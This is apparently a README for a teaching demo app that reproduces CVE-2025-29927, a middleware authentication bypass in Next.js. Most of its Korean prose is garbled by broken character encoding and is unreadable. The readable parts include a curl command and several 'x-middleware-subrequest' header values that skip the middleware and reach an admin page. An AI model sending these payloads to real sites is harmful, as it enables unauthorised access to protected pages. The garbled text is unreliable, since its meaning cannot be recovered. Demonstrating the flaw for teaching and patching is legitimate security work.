
๐ Next.js Auth Bypass Demo - CVE-2025-29927 ๋ฏธ๋ค์จ์ด ์ธ์ฆ ์ฐํ ์ทจ์ฝ์ ์ ์์ฐํ๋ ๊ต์ก์ฉ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋๋ค. โ ๏ธ ๊ต์ก ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉํ์ญ์์ค. [AI๋ฅผ ์ฌ์ฉํ์ฌ ์ ์๋จ]
Next.js 12.2์ ๊ฐ๋จํ ๊ฐ๋ ์ฆ๋ช ์ ํ๋ฆฌ์ผ์ด์ ์ ๋๋ค.
npm install
npm run dev
์ ํ๋ฆฌ์ผ์ด์
์ http://localhost:3000์์ ํ์ธํ ์ ์์ต๋๋ค.
npm run dev - ๊ฐ๋ฐ ์๋ฒ ์์npm run build - ํ๋ก๋์
๋น๋npm run start - ํ๋ก๋์
์๋ฒ ์์pages/index.js๋ฅผ ํธ์งํ์ฌ Hello World ํ์ด์ง๋ฅผ ์์ ํ์ธ์. ์ ํ๋ฆฌ์ผ์ด์
์ ๋จ์์ฑ์ ์ํด ์ธ๋ผ์ธ ์คํ์ผ์ ์ฌ์ฉํ์ง๋ง ํ์์ ๋ฐ๋ผ CSS ํ์ผ์ด๋ ์คํ์ผ๋ง ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค.
์ด ์ ํ๋ฆฌ์ผ์ด์ ์ Rachid.A (zhero)์ Yasser Allam (inzo_)์ด ๋ฐ๊ฒฌํ CVE-2025-29927 ์ทจ์ฝ์ ์ ์์ฐํฉ๋๋ค:
x-middleware-subrequest ํค๋๋ฅผ ์ฌ์ฉํ ์์ ํ ๋ฏธ๋ค์จ์ด ์ฐํadminadminx-middleware-subrequest: middleware ํค๋ ์ถ๊ฐcurl -H "x-middleware-subrequest: middleware" http://localhost:3000/adminx-middleware-subrequest: middlewarex-middleware-subrequest: src/middlewarex-middleware-subrequest: middleware:middleware:middleware:middleware:middlewarex-middleware-subrequest ํค๋ ์ฐจ๋จโ ๏ธ ๊ฒฝ๊ณ : ์ด๋ ๊ต์ก ๋ชฉ์ ์ผ๋ก ์ค์ CVE๋ฅผ ์์ฐํ ๊ฒ์ ๋๋ค!
์ด ์ ํ๋ฆฌ์ผ์ด์ ์ ๋จ์์ฑ์ ์ํด ์ธ๋ผ์ธ ์คํ์ผ์ ์ฌ์ฉํฉ๋๋ค. ํ๋ก๋์ ์ฑ์ ๊ฒฝ์ฐ ๋ค์์ ๊ณ ๋ คํ์ธ์:
์ฆ๊ฑฐ์ด ์ฝ๋ฉํ์ธ์! ๐